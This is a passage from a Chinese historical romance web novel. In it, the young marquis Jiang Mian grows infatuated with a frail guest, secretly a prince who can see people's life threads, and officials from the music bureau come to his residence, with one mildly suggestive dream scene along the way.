如此练了两日小篆,江眠终于想起了他这号人,姗姗来迟。 崔九报过一声,便藏了身形。 须臾,门吱呀一声打开,一脸生少年和见过的婢子侍立两侧,将门大打开,门后露出一抹鲜艳柿红。 高马尾,白玉头冠束起,发丝里还编着翠绿丝绦,走动间明亮地飘摇。 外披了件厚厚的狐裘披风,但在门口就褪给了仆佣,露出内里单薄的柿红春衫,扭头声线轻快道:“门关紧,万大夫说他不能见风。” “喏。” “喏。” 进得门内,宴知行才看见他编入碧玉的腰带,细细一条卡在腰间,人走进来,好似将江南花红柳绿的春意也带了进屋,照得屋子都亮堂了几分。 江眠左右看了一眼,一双眸子顾盼神飞,灵光内蕴。 等瞧见卧床持书的宴知行,霎时露出了个笑容,眼眸灿灿,观之可亲。 真是个不谙世事的贵公子。 宴知行暗暗对崔九打了个手势,崔九弹了枚滚圆的桂圆核,恰落在江眠脚下。 也不知是不是这小少爷的冷落惹恼了公子,见面公子就要他行跪拜大礼。 不过按公子身份,他也该跪。 两人就这样看着那果核落在了江眠脚下,然后江眠如履平地的,稳稳踩着走到了宴知行床前。 崔九:“?” 这招他从未失手过! 近了,宴知行眼眸也沉了下来,无它,江眠头上,还是空空如也。 之前不是他眼花。 这人就是没有命线。 怪哉! 宴知行垂了垂眼,轻咳了两声。 江眠本来看他就有些说不出的观感,见他低头作不胜病态,竟觉得有一种说不出的雅致韵味。 “能劳烦少爷为我取一下水杯吗?” 声音也是哑的,说完又咳了一声。真是可怜。 “好啊。”江眠当即转身。 果核就落在放茶杯的桌边,宴知行冷眼看着江眠走过去,取了水杯又踩着那果核,脚步轻盈地稳稳走了回来。 “……” 江眠将水杯递到宴知行面前,却不见对方伸手,只那黑沉沉的眸子一瞬不瞬极为专注地凝着自己,江眠:“怎么了?” 须臾,宴知行垂目,只淡淡回到,“……无碍。” 4. 动心起念 说起来这并不是将人带回府后,江眠第一次见对方。 第一次是人醒之后,如意来报,他顺腿便拐了去了安置对方的侧院。 去的时候没有想太多,到的时候也巧,这位公子用了些粥嫌弃室内气味难闻,正唤仆佣开窗透气,门开了半扇,窗子也支起一半。江眠踏入院落,视线通过这半扇窗的空隙,正正能看见内里静坐的男子。 脸色还是苍白,脱了外披的貂裘,一身单衣更显其病骨支离。 但身姿却异常板正,腰挺着,肩背开阔舒展,阖目微微垂着脑袋,一头墨发上虚虚束了根绸带将发丝尽数绑缚。 江眠步伐放缓了,男人就那样坐着,要不是胸膛还有些微的起伏,江眠都感受不到一丝活气儿。 遇到的时候通身玄色,他养了一阵,不知哪个又给了一身青灰,这一身缭绕蔽体的黯看来是褪不去了。 且衣袍颜色越深,越是衬得那一脸的白无有血色,如纸一样。 还是不像人。 哪怕已经亲手确认过是个活的。 但也仍是勾着江眠的视线,隐隐让他挪不开眼。 就这样断断又续续看了不知多少眼,把万太医看来了,江眠反而不急着进了。 他坐院子里,屋内太医给人把脉,他听得对方声音低低的发哑,话说得不多,但都极为得体,声气带着种疏离的淡漠,和他这人呈现的气质如出一辙。 万太医说他身体虚,底子差,须得静养,恐是受不得大喜大悲的刺激。 结合着这人的来历,太医“勿扰”的潜台词江眠听懂了。 过来本也是看看人如何,现下人看过,又从万太医处得知了病况,江眠折扇一打手心,又随着太医一道离开。 这是第一回。 第二回是去周边踏青,离府前夕。 还没进门就听得接连不断的低低咳嗽声,下人报说从早起便开始了,听见后立即就请了万太医,太医来行过一道针又开了方子,内里公子刚刚喝完了药,已经比早间要好上不少。 咳嗽声压得很低。 里面的人似乎对此也极为不喜,在竭力忍耐着。 说好多了,但落在江眠耳朵里,也绵密得让他这个听者难受。 从门外望了眼,这次那张脸有了些颜色,眼眶连着颧骨一片都是咳出来的红。 两阵密集的咳嗽之间,这人仰头靠在雕花镂空的床架上,闭着的眼睫带着不可控的颤动濡湿,脖颈一片也红,是被他手生生挠出来的,喉结边上全是一条条的抓痕。 等再咳,江眠看清了,他是在压着自己脖子试图止咳。 那一瞬的感觉江眠现在还记得。 真可怜,也是真倔啊。 都这样了也不唤下人伺候。 当即又叫了万太医,开库房拿了几味珍药,辅以施针,又缓和了些。 就在熬新药,江眠考虑还走不走的时候,来报说已经压下去了,人累了睡了。 最后一回是最正常的。 他一个人,临时起意,溜达到侧院附近便过去瞧了眼。 门关着,窗子也是半支的,挡风。 这人在写字。 手也带着种不正常的惨白,但拿笔却很稳,神色专注一丝不苟写着小篆。 江眠看不懂,觉得像在画符。 但画符的人是好看的。 那双沉沉的眼睛和笔下墨痕竟是不分彼此的稠酽。 微微低着头时,江眠这才发现他鼻梁间还有个微突的驼峰,不细看几乎可以忽略。 广袖飘摇,君子弱不胜衣。 江眠一瞬间别开了眼,几乎是下意识的。 回过神来愣了会儿,再看回去,还是那扇窗,也还是那个人。 但好歹活了百来年,江眠是知道自己的。 一时间心绪颇有些复杂。 养了这么些时日,这人还是体弱,万太医拿着都犯头疼,被问了许多次,只说养着,病好了再看,言语中时不时透露,恐怕在教坊里伤了根本,须得风寒好透再看脉案再断。 这样一个人放回教坊里,怕是活不成的。 想了很多,不过也只是转眼一霎,见宴知行不接水杯,江眠便径直将杯子塞进了对方手中,指尖碰到对方皮肤,嘶一声弹了回来,“怎么这么凉?” 说完反手握住近处的那截手腕,寒气瞬间在手心炸开,江眠眼睛溜圆地睁了睁。 这间屋子他自踏进来便觉着热。 竟还捂不透这人的。 “你等着。”想到什么,江眠转身便往外走去。 一切都发生得太快。 塞杯子暂罢,毕竟宴知行也没及时接。 但凑那么近翻手来握他腕子,几乎是瞬间,宴知行眉头紧紧拧起来。 放肆!大胆! 少年体热如暖炉,哪怕只是一触即分,手腕处被握过的皮肤也好似被烫到了一般,那股不寻常的热度直直往皮肤下渗。 宴知行怒容无掩。 藏在暗处的崔九心刹那惊跳,反手紧握短刃,做好了要是公子一巴掌抽这小侯爷脸上,他便立刻现身护主的准备。 江眠找如意要了个手炉,说完想了下,又加了句让拿他箱子里的那个。 等待的间隙顺便问了下这屋子地龙的情况,如意如实禀报道,已经按火最旺的在烧着,万太医也说过病人不能受凉,下人日日都盯着的。 能做的都做到了位,如此看来,还是这人身体太差的缘故。 气血不畅,肢端自然发冷。 屋内实在是热,江眠在外等手炉,顺便晾一晾自己。 等汗收了,手炉也到了,江眠再度踏进屋子,室内确乎是极热的,暖气扑面一烘,他才凉下来的背脊又有点微微发汗。 “呐,拿着暖暖手。”江眠将手炉递给了宴知行。 一来一回的时间已经足够宴知行压下满脸的怒色。 但心头仍旧是不痛快。 “我不用别人的东西。” 看着那银丝手炉小巧,银白绸缎炉套上细细秀了密铺的卷草如意纹,宴知行下意识想到了江眠身边那个小婢子,走动间也爱捧着个手炉。 一想到可能是下人用过的,宴知行脸色更冷了。 江眠:“是我来江南前新置的,还没用过。” 说完也不客气,一屁股在床边坐下,动手就把盖子掀开了来,“你看”银丝的内盖锃光瓦亮,还没被炉火熏黑,显然是将将启用的。 宴知行面色稍霁。 江眠瞧出了他的松动,展颜一笑,眼底粼粼的水波仿佛要浸出来似的,葳蕤生光。 “拿着用吧。” 江眠捧着那手炉便想往宴知行腿上放,不等宴知行再度黑脸,这少年又改了主意,虚晃一招,变道放在了他手边的床榻上,离得不远不近,刚好手伸过去能用,又不至于碍着他行动。 江眠:“好了。”带着笑还拍了拍手。 宴知行:“……” 垂目去看,炉子上不见烟火,只有淡淡的香气随着热度缓慢蒸腾。 宴知行:“没有放香?”贵人们用的手炉,内里用香灰埋着炭火,面上还会再放点香材一道,使得整个手炉香气扑鼻,雅致又实用。 “我没让放,燃香多少会飘烟气,不利于养病。” 答得不假思索,那笑意还没从唇边褪去,想起什么似的,伸手又试了试手炉,江眠点头肯定道:“现在这样就不错,挺暖和的,你不试试吗?” 那双眼睛又看向宴知行,在少光的内室,却带着一种琥珀的剔透感。 缓缓伸手放在暖炉上,宴知行:“很暖和,劳侯爷废心。” 少年笑容更胜,配着一身柿红春衫,招摇的翠绿丝绦,好似将一抹春意也带到了宴知行身边。 对着这样一张脸一个人,好像很难真正地发怒。 垂了垂眼睫,宴知行:“侯爷今天来此,不单是为了给我送手炉吧。” “噢,你知道我身份了?” “下人日日唤着,多听一些,想不知道也难。” “也是。” 江眠脸色一下子变正经了不少,坐直身开口道:“其实我早就该来的,但前段时间你一直病着,大夫也让人勿扰,就一直拖到了今天。不过,也不碍事。” “不碍事,”宴知行咀嚼着这几个字,“侯爷想必已经知道我的身份了,州府同教坊没有来要过怀闵吗?这也不碍事?” 少年脸上有惊讶,未料宴知行将话说得这么敞亮,但这点讶异转瞬即逝,又变作可亲的笑意,晃了晃脑袋轻快道,“对啊,你既知晓了我的身份,便更能知道,以府尹和教坊的地位,还奈何不得我。” 宴知行:“那侯爷今天来是?” “先确认下身份,你既说自己是章怀闵,那生辰和父母名讳是?” “怀闵生于太和三年春分,父章宜年……” 每条信息都对得上,江眠点了点头,算是认下。 说完安静了片刻,江眠看向宴知行那张古井无波的脸,问他:“你想过病好了后去哪里吗?” 病好? 宴知行笑了下,他的病怕是不会好了。 这笑意很浅,但绝不是什么开怀的神情,江眠只觉出无奈和怅惘。 “这怕是由不得怀闵做主。” 宴知行看着江眠的眼睛,一字一句道,“想必侯爷已经查过怀闵入教坊一事了,此案犯了帝怒,办得又快又急,都城来的官差里都不大清楚内情的。但刑部发的文书怀闵看过,白纸黑字确乎是写的没入教坊……” 顿了顿,放轻了声音,“怀闵早年为太子伴读,太子自去岁起一直大病小病不断,只怕是……没有多少时日了……这或涉及更多都城的纷争,比如争储,江家同长公主府一直持中,为大燕之纯臣,若是侯爷因此而为难,将怀闵送归教坊,我也是能理解的。” 江眠语噎。 须臾,问他,“你想回教坊?” “不想。教坊自接管怀闵起,便鞭子日日不落。” 江眠瞳孔颤动,手一下子握紧了,“他们……” 宴知行从这张明媚的脸上竟然看出了愤怒。 这小侯爷是什么都摆脸上吗? 有趣。 江眠胸膛大起大伏一霎,那口气又咽了下去,垂着眼睛不知道在想什么,再看回来又缓和了口吻,同宴知行道:“我知道了。” < p>“?” 江眠起身,就坐了这么一会儿,背心又热出了一层汗,想去拿折扇,但看着近处病骨支离的宴知行,怕冷风带着了对方,生生忍住了。 抖了抖袖子,江眠脸上恢复了那副笑模样,“既然你不想回教坊,也不知道去哪儿,便由我做主吧,如何?” “??” 还真是敢说。 宴知行想了下,垂眼道,“……但凭侯爷做主。” “好。”江眠又笑开来,用手扇了扇风,热得红扑扑的脸颊像熟了的苹果。 “都这样了,也不可能更差,你尽管好吃好睡,别想太多,养病忌思虑的。”临走前江眠叮嘱道,“万太医怀疑你之前倒过药,后面会熬一些补气血的,我会让人盯着你喝完。” “……” 暗处的崔九想到自己喝下的那些药,舌根又开始发苦。 宴知行:“我喝药多了脾气不好。” 崔九:“……” 江眠诧异看宴知行一眼,对方脸上还是淡淡的,眼眉疏落,不带什么波澜。 “那你尽管发脾气,别憋着,闹大了他们会禀报我的。” 都什么跟什么。 “但是药不能不喝。”江眠带着笑走了。 留下静默的宴知行,和从暗处现身的崔九。 主仆两半晌无言。宴知行抬手按了按颞骨前关,忽然生出一种无力感来。 崔九小心翼翼道:“公子,威远侯此人……” 宴知行冷冷:“言行无状,胆大张狂。” 崔九一下子没了声,眼珠子安静地看着地面。 “说什么都信。好骗。” “……” 崔九换了个话头,“那我们现在是……?” “等着吧,要是将我送回教坊,刚好半路装作被劫走,和公主府撇开关系。” 咽了咽喉头,崔九:“若是,我是说如果,如果威远侯要保章公子呢?” 宴知行一时间没说话,低头去看那个被江眠拿进来的手炉,伸手探了探,暖气一阵阵的往上冒,蒸着他惯常捂不热的指节。 “簪子。”宴知行对崔九伸手,崔九立刻将头上的木钗拔出双手奉上。 打开手炉,里面还是银亮亮的崭新一片,宴知行用木簪将隔热的烟灰拨开,露出一截暗燃的炭来,表面覆着一层白色银霜,无烟亦无味。是最少见的银骨炭。 手炉是江眠的,内里的炭火竟也是为他准备的品级。 他却随手给了“章怀闵”。 宴知行深吸一口气,却不太吐得出来。 “若是要保,那便把福安接进来。” 崔九:“?” 在手炉上方动作一阵,手也跟着暖了起来,宴知行将簪子还给崔九,看了外间一眼,淡淡道:“这里的仆佣太吵,用不惯。” 往日这院里的欢闹都在外间,内里是绝对安静的。 江眠不来还好,来晃了一遭,说话又快小动作又多,彷佛将那烦人的闹腾也带了进来。 人一走,不闹了,但空落的屋子反倒被衬出了两分平日未觉的冷清来。 果然烦人。 * “今晚不吃糖醋排骨了,都几天了,你不腻的啊?” “不腻。我就想吃个排骨,你又不和我与小侯爷用饭,你反对干嘛?” “吃吃吃,你脑子里只有吃。” “哼,说得你不是一样,回回出门都往杏花楼拐……” 如意和承吉又在拌嘴。 江眠走在前面,人出来了,神思却彷佛还留在身后。 回头遥遥看了眼侧院,又看一眼吵得叉起腰来的如意承吉,江眠摇了摇头。 吵吵闹闹的。 全然不似侧院里的清幽。 那位公子,很安静。 和他想得不差,性子有些孤傲。 他看他总是有些不大对的感触在。 离得近了,又说过了话,这种感受非但没有消失,反而……还有点愈演愈烈。 吵了半路,如意回周娘子的院子,好不易同他们分开了。 江眠扇骨拍着手心,忽然回头,问承吉:“你觉得章公子如何?” 承吉还在气恼自己方才斗嘴没发挥好,被猛的一问,愣头愣脑:“什么如何?” 江眠默了默:“你会……觉得他好看吗?” 承吉更懵了,“好看?病成那样?!” “……” 罢了。果然是他不对劲。 可能他是有点变态吧。 * 江眠踩过的那枚桂圆核被崔九找到了,捏起来细瞧,崔九吃了一惊。 圆圆滚滚,和他丢出去前不说一模一样,简直是毫无差别。 崔九;“……” 宴知行:“……” 宴知行缓缓看向崔九,崔九急急道:“我真看见小侯爷踩上面过的,绝不会错!” 宴知行:“我不瞎。” 崔九:“……” “丢地上。” 崔九照做了。 宴知行抬了抬下巴,“来,你踩着走一遍,不要运功。” 崔九:“…………” 5. 教坊司乐 崔九扶着腰从地上爬起来,一瘸一拐地把自己精选的那颗桂圆核从地上扒拉了起来,捧给宴知行过目。 男子的体重很轻易就将这么一颗果核压碎开来,裂纹里迸出微黄的核心。 宴知行伸手拿过,只是轻轻那么一踩,果核整个都扁了。 崔九今年十九,已经是他第九任暗卫首领,一身功夫是从小苦训出的,哪怕不运功,手脚上的基本功也远非常人可比……但仍旧摔了。 江眠一个娇养的宗室子论身手万不可能同崔九相提并论。 且他身量也不比崔九矮。 捏着那枚碎裂的果核在眼前转了又转,宴知行:“对你来说,他还有别的什么异样之处吗?” 话落又添一句,“好好想。” 崔九从第一面起细细思量,来回盘了数遍,仔细答复道:“暂无别处。” 宴知行换了个话头,“就你所知,马匹受惊,有能瞬息让马儿安静的御马术吗?就是前一秒还在疯跑,人一旦挨到了马,马就安静了的奇术。” “……闻所未闻。” 那颗果核又在指尖转了一圈。 日光透过碎裂的缝隙,落进宴知行那双黝黑的眸子里瞬息便沉了底,好似从未存在过。 奇怪的御马术。 解释不通的完好果核。 还有头顶,消失不见的命线。 自打遇见,这人身上的古怪是越来越多。 苍白的脸上牵起一抹笑意, 威远侯,江眠,你到底是个什么玩意儿? * 承吉这晚没有吃到原定的糖醋排骨,倒不是如意对周娘子打小报告勒令厨房不准继续做的缘故,而是江眠在宅子里待不住,午间外出打探消息的成祥一回来,见护卫的人手齐备,心血来潮就又往外跑了。 其实江眠也不想的。 但一坐下,思绪总是无端往那位公子身上飘。 喝本地新买的茶,想着对方低头喝水的模样,一举一动都板板正正的,像是拿量尺规范过,举手投足皆是挑不出错的合度得宜。 和承吉说话,想到他对章公子的评价,江眠脑子里时不时就蹦出一两句反驳,怎么会不好看?眼眉五官分明那么标志,是病着人也清瘦,但底子是跑不掉的,更何况举止还那么得体文雅,身量也高…… 成祥来汇报,又想到对方说在教坊里日日鞭子不落,背上扎针的时候是看过的,没有鞭痕,那会不会集中在腿上膝弯,还需要处理吗?不然还是让万太医再去看看? 如此种种,只要一起头,思绪就能漫延出五里地去。 但思来想去,最后都汇聚成同一种冲动:他还想见他。 哪怕随便说两句话,喝一盏茶,又抑或和前几回一样只是在窗外静静地站着,从支起的窗户缝隙得以窥见数面真容。 这个念头一动,思想便更如陷进了某种泥淖,越想越真,越想越收不住。 明明人还在主院,满身满心却如同一张细密的丝网,铺天盖地全缠在了偏院上头 江眠对这样的自己感到陌生。 清心寡欲了百来年,临了发现自己竟可能是个色鬼? 江眠接受无能。 坐不住,也不愿脑子乱七八糟的时候贸贸然去偏院,表现得像个登徒子一般。 江眠决定用事情解决事情,留下来不对,他走还不成吗! 去外间看看新鲜东西,换换脑子。 在苏州待了一段时间,天气已经比他们初来时转暖了不少,街上来回的冷风渐渐柔和,愈来愈多的人也愿意上街走动,各家茶坊酒肆内人头攒动。 承吉虎头帽都脱了,就坐那侧马车的车帘也被他高高掀起,对着车外街景张头探脑。 拌嘴二人组这个时候又变得极为和谐,凑一起叽叽喳喳说个没完,成祥抱着自己的剑仍旧缄默坐在另一侧,只时不时提醒他们将车帘放低些,别把内里的热气全给放跑咯。 “对了,我们先去哪儿?”马车驶入主街,承吉问道。 江眠想了下:“松墨斋吧,买点当地的笔墨,一部分拿来写家信,一部分寄回府。” 章公子爱写小篆,也可以买套合用的兼毫笔给他。 如意也转过了头,满眼期待,“晚间去哪里用饭呢?” 江眠:“今天不去杏花楼。” 如意瘪了瘪嘴巴,承吉幸灾乐祸地偷笑,江眠考虑一霎,提议道:“去清风楼赏乐如何?前些时日错过的花朝节据说就在里面办的演出,还有江浙的名家登台,楼里寻常供着俗乐,和教坊往来密切,不少大家都在清风楼有固定的登台日子。” 承吉:“好哇好哇,教坊伎楼前些时日在查案,最近又在重修烧毁部分,不知哪日才能重开,况且我听闻清风楼里很有几道知名的特色,八宝鸭、参糟鱼啊,吃食上伎楼可赶不上。” 成祥:“口水流下来了。” 承吉懵了下,反手就去擦,手背刚触到嘴角,只感觉皮肤一片干燥。 “你诌我!”承吉瞪眼。 成祥面不改色:“我又没报你名字,提醒如意呢。” “啊啊臭脸鬼!” 见势不对如意赶紧闪身避开,往外坐的功夫还不忘拽着江眠一道挪远些,颇有种只要挨不着她,同伴们打死都不关己事的松弛感。 承吉还没碰到成祥,被反拧手臂一把按住,活像只被按住外壳的螃蟹,手脚不停地扑腾就是动不了分毫。 “少爷你看他!”承吉喊江眠。 成祥还是淡淡的:“是你先动手的。” 如意拱火:“我看见你先动手的,我作证。” 江眠:“我也看见了。” “少爷!!!” 螃蟹扑腾得更有活力了。 啊,少年人就是好,多活泼! 松墨斋里自己用的纸笔好选,送回府的也容易,最贵的来两套,最耐造的来两套,最漂亮的洒金撒银、本地特色生熟宣纸和带香气的花笺通通都打包,成年人ALLIN! 换到给章公子的江眠犯了难,这套太贵重,那套不实用,丑货别往他眼前凑……一连拒了数十套,掌柜跑上跑下地拿货额头都发了汗。 一旁的如意若有所思看向承吉,只收获一双清澈的眼睛,如意翻了个白眼。 如意扭头看成祥,恰对方也看过来,眼神一碰,彼此心照不宣地又错开。 如意:“有好的只管拿出来,但凡我们少爷看上的,都要。” 掌柜擦汗连连赔笑:“省得省得,小的省得的。” 从库房里挖出一套碧玉的兼毫,笔身根根翠绿,尖端持笔处又贴心地包了木材,不至于持握凉意沁手。 君子如玉,温润而泽。(1) 江眠瞬间想到了对方持笔写字的模样,微微垂着眼,低头,背脊却仍旧是直的,但不绷,双肩自然坠下,好似他生来便有如此风骨。 不算是顶尖的碧玉,笔身易碎不实用,普通的学子看不上,贵人又嫌玉质次了。 刚好成全了他,像是不经意看到了买来送人的。 江眠要了这套笔。 他们日子赶得巧,今日清风楼里载歌载舞,且都是苏州叫得出名字的角儿。 鼓点急促,舞娘赤色的裙摆急旋,如柳腰肢越转越低,数条系在手臂肩膀的丝带跟着一齐飘摇,转成数个相叠的同心圆,流光幻色美不胜收。 承吉如意看迷了眼,手头的吃食都不往嘴里放了,江眠听着满堂的喝彩,一舞毕也跟着赏钱。 吴侬软语苏州小调,优伶抱着琵琶边弹边唱;只一张古筝,青衫男子弹得铮铮金鸣,气势斐然,江眠听进去了,着人多赏了些。 离开的时候被一婢子拦了路,说他赏钱厚,她家公子有意相邀,愿额外为他再奏一曲。 江眠扇骨点了点手心,酒楼遍布的烛光照得他眼眸灿灿,略一思量,道:“带路。” 谁承 想这却成了这晚上最糟糕的决定,江眠动了大气,清风楼全数掌柜尽皆飞奔到了雅阁,挨个的说好话叠声致歉,不仅要退饭钱,说到最后赏钱也愿意替江眠一并包了,只求贵人息怒。 理说不通,兼之他也不是为了几个钱,他是…… 江眠拂袖而去。 当夜便做了梦。 当季新摘的洞庭湖碧螺春沏在甜白瓷的盖碗里,滚沸的水一浇,花香四溢,用瓷盖轻轻拨开浮沫,满杯茶毫浸出春天的万顷碧波。 伴着舒缓的筝乐,江眠浅啜一口,寻思着该给长公主也寄些好的品品,耳边乐工低沉的嗓音问他,“茶可还合您的口味?” 江眠刚说了个不错,身边烛光一黯,一只手来接茶盏,却过界地覆到了他的手腕之上。 江眠冷冷抬眼,一身青衫的伎人笑容可掬,又凑近了几分,吐息都要擦到他脸上,低声道:“贵人方才一直目不转睛地注视着小人呢……” 胡说,他看的分明是古筝! “古筝有什么好看的?坊间都传小侯爷一直留着那个书生,难道是因为喜欢听古琴吗?某不止擅筝,古琴也是弹得来的,小侯爷不如也听听?” 手腕上的手指慢条斯理往他袖口里钻,力道不重,就虚虚搭着,但撩拨的意味已无需多加说明。 “还是侯爷其实不喜男子,是某会错了意?” 江眠勃然变色。 “侯爷不喜男子吗?” 俄而手腕上的手变了一只,指腹带着厚厚的琴茧,就那样自然而然地握着他。 眼前的脸也变了一幅,苍白,带着病态的惨色,神态却没有分毫献媚之色,淡粉的唇开阖道:“我以为你透过这张筝在想我弹古琴的样子……” 江眠张口无言。 喉头一阵阵地发干。 “怎么不说话?” 对方稍稍靠近了些,身上的熏香也从纯然的甜,变作幽微的香气夹着一丝挥不去的苦涩。 江眠一下子不会动了。 手腕上的指腹重一下轻一下的摩拭,茧子擦着皮肤带出一种难耐的痒意,慢慢往上,握到小臂,江眠整个背脊都是麻的,微微吐了口气,滚烫。 “怎么不推开了?”那张脸再凑近,嘴唇开开合合,江眠能看到内里雪白的牙齿和同样淡色的舌。不知道吸一下会不会变红。 随着距离的拉近,吐息交织一处,不分彼此,江眠整个人都被烫得滚沸了起来。 就在要压实的前一刻,那双黑漆漆的眸子看着他停了下来,嘴角牵出一个浅笑,“口是心非。”说着,往下看去。 江眠跟着他视线一道,往下,看到了柿色的下摆高高地撑了起来…… “!” 江眠惊醒。 喘着气,满头满背的汗。 是梦啊。 还没喘匀气来,鼻尖蓦地嗅到了空气中淡淡的腥,江眠整个人为之一僵。 拉开被子往下看了眼,江眠就这样像是被按下了暂停键,保持了许久这个姿势,等再有所动作,慢慢慢地将棉被拉过头顶,满脸菜色地用被子将整个都埋住。 他是个色鬼。 他知道了。 清心寡欲百来年,一朝成过往。 * 用早饭的时候,人还是有点恍惚,如意来报的时候,江眠第一遍甚至没听清。 “什么?” 如意:“教坊右司乐孔韵,并教坊右韶舞登门拜访。” 教坊主管为奉銮,官职正九品。 其下分设左右司乐、左右韶舞辅助奉銮协理教坊事物,无品阶。 江眠第一时间想到了久留府中的章怀闵,“拜访理由?” “昨日清风楼中乐工僭越,以右司乐为首,登门代教坊向侯爷赔罪。” “……”呵。 “倒是给了他们个借口。” 木筷搅着清粥,想到什么,江眠忽的打开了胃口,愉悦道,“见。” 6. 外室子 宴知行得知教坊上门的消息时,也在用早饭。 一碗不落地喝了一天补气中药,宴知行脸色极差,心情不愉,胃口也败坏得厉害。 一碗清粥半天喝不下,在这府中吃得还尚可的高汤牛肉包也味同嚼蜡。 深深深吸气,吐出,宴知行强迫自己吃。 不吃一时爽,事后只会加倍地难受,他的身体他还是清楚的。 忽而想到了江眠说要决定自己去处的豪言,夹小菜的动作一滞,哑然失笑。 他这个正主都不知道自己还有多久的活头,威远侯竟然还敢把注压到自己这一派,真是不知死活,也不怕日后被哪个上位的哥哥弟弟记恨。 这个念头一起,更是什么胃口都没了。 宴知行放了筷子。 往自己头上看了眼。 那里悬着一根鲜红的实线。 哦不,小时候是一根,这么多年过去了,太医都说他活不过弱冠,它已经短得不能用根来形容,已经像是他不知何时就会结束的一生,短得快缩成一个红点了。 宴知行伸手去捉,如同往日千百次一般,手毫不费劲地就穿透了虚空中的红线。 它不是真实存在的。 它只有自己看得见。 宴知行清楚。 他从小就能看见每个人的命线,年轻的人长,年长的人短,即将去世的人命线在最后时刻便会消失。 他见过那种消失,不止一次的。 小时候不知道是什么,同母后说,还被当成招了邪祟,宫中找人来做过道场。 当时黄色的符纸漫天飞舞,香灰在空气中弥漫,宴知行感觉很不舒服,又咳又吐了一整天。 道场做完,宴知行还是看得见,但是在母后殷切的目光中,被询问还能不能看见,他最终摇了摇头。 过后这便成了他自己的秘密。 忘记了是哪天,有个宫侍头上的红线蓦的忽隐忽现,不出半日,就犯错被打死了。 宴知行撞见了全程,看见那根红线飞快地缩短直至消失,这才知道死人头上才是干净的,而他和母后头上的红线都很短……当夜便吓病了。 再后来他用了很多时间去观察,慢慢懂了这根线的特性。 从小到大父皇和外家舅舅们都誓要治好他带的胎毒,名医找了一茬又一茬,道士和尚的,也没有少宣进宫——但宴知行从没见过自己的命线变长。 不过都叫命线了,人是拧不过命的,这就是他既定的道路吧。 忽然又想到了江眠,他头上一片空白,却在自己眼前活蹦乱跳地蹦跶到了今日。 且丝毫没有任何殒命的征兆。 很怪。活像是一个不该存在的人。 想不通,并二指按了按眉心,窗户蓦的轻微扣响两声。 宴知行:“进。” 侧面的窗户被推开,昨日回去打探消息的崔九轻手轻脚翻了进来。 同室内值守的暗卫交接过,崔九换下了人。 宴知行:“宅子那边如何了?” 崔九行过一礼,回道:“一切无有异样。这几日也没人来查。章公子身上的伤好多了,已经能下床走动。福安忧心公子您的起居,让我务必带话,希望前来您身边侍奉。” “对了,我进府的时候,看见教坊来了人,这次不同于往常来的教坊协同官,看装扮,该是左右司乐或者韶舞中的两位,在府门前递了拜帖。” 宴知行:“江眠还是不见?” 崔九:“不,威远侯身边的那个婢子亲自出面将人迎进了门,这次怕是要见了。” “也好。” 既早晚都会见。还不如赶早。 崔九嘴唇动了动,低头道,“还有一事有关于章公子,属下不知该不该报。” 宴知行恹恹的眸子终于有了少许的转动,缓慢眨了下眼,“报。” “章公子是福安贴身伺候的,我回来之前,福安拉着我说,感觉章公子不太对劲,治病不积极,饭食也用得很少,依他所见,章公子怕是有心事。但章大人一家都已经伏法,全家只剩了章公子,他说不好自己的感觉是对的,还是只是人经历了大变故后的常态。” 宴知行手指在桌子上点了几下。 “怀闵不是外向的人,说是家中巨变造成的,能说得通。” “但福安自小跟着我,没影的事他不会报与你,恐怕还有他没说完的反常之处。” 宴知行很快得出结论,“福安是想我亲自见一见怀闵。” 崔九:“福安最后确实说:若是公子能来看看,最好。” 但他们现在被困在了威远侯的宅子里。 想走也还需费一番谋划。 宴知行垂目,又给出了一个法子,“或者让福安进府,让他仔细同我交代反常之处。” 说完沉沉的眸子又转了下,怏怏道:“你去看看威远侯是怎么应对教坊的,章怀闵已经脱了罪,他也强留了我这么久,是该有个说法了。” 崔九领命离开。 静坐了好半晌,宴知行烦闷地将放下的筷子再度拾起。 淡色的嘴唇因着不快紧紧绷了起来。 吃吧。 不吃怎么应付接下来的事。 吃。 * 待客的厅堂里,进门时尚还熹微的晨光眼下已经大亮,拢在屋檐上的团团雾气早已被数道金光穿透,洒在她们精巧的绣鞋旁,斑驳了一地春光。 苏州教坊右司乐——孔韵此刻的心情却不似这晴好的春日明媚。 她同教坊右韶舞自进门起,在此已经坐足了整半个时辰,迎她们进门的婢子生得一张圆脸,瞧起来极喜气,言谈举止却带着高门大户的专断,来之前准备做得足足,带了数个沉甸甸的送礼荷包,但这婢子头上簪金,耳挂玛瑙,鲜妍的褙子上秀满了一整幅精工苏绣,缕缕丝线在日头下折出来的光都晃得人心慌,必定是威远侯身边侍奉之人,这本该送出去探路的荷包也就拿不出手了。 她安排她们在此等待后,便一去不回。 孔韵同右韶舞站起身张望了两次,便有下人们前来询问是否有不周之处,哪怕她们连连否认,厅内的茶水同果盘都连着换过两遭,伺候得极为妥帖,倒叫她们不好妄动,显得轻浮有失礼数。 “坐着吧,侯爷不见我们也急不来。”杯盖撇着浮沫,右韶舞倒是洒脱。 孔韵深吸一口气,她怎么可能不急。 威远侯扣了章怀闵,管着章怀闵的左司乐连同章怀闵直属的色长都一并在那场大火里丧了命,后续州府差吏来查,通盘下来,教坊所有同章怀闵有干系的在火中悉数殒命,找来找去,教坊上下最后竟是连一个能熟识辨认章怀闵的都找不出。 这就够叫人心惊的了! 剩下的三个韶舞司乐皆对此事避之不及,谁能想到昨日她手下乐工不安分,开罪了威远侯,一大早奉銮便将自己叫了过去,借着这个由头,将上门赔罪连同要人的棘手事,一股脑砸到了她头上。 右韶舞作为此行协同,事不关己自能从容,她却是实打实的如坐针毡如芒在背。 听闻那日冲撞威远侯的差吏全都领了鞭子,打得皮开肉绽,她一个无品无阶的教坊司乐,又能生受威远侯几鞭子呢?! 焦灼煎熬如一把文火点在肺腑里,孔韵就这样小口小口啜饮完一整盏茶,刻漏往上挪了一个大刻度,久久不见的如意方姗姗来迟。 “丑话说在前头,我们侯爷被你们教坊伎人污了衣袍的事迟迟没个说法,本身就憋着口气,昨日又被那不长眼的乐工僭越冒犯,动了大怒,眼下可没什么好声气。你们此行要是真心地道歉赔罪,那也还罢;若是要在我公主府的地界耍小聪明、逞威风,可就休怪我家家将的刀剑无眼。” 伴随着清脆的嗓音,领路的如意俏脸微微回转,眼中警告的寒芒一闪即逝。 孔韵还待保证几句,如意却没有给她们这个开口的机会,脚下一定左手往前递出,“到了,孔司乐、右韶舞,请吧。” 还没进门,便见得厅堂外围站满了佩剑的家将,一个个虎背熊腰目露精光。 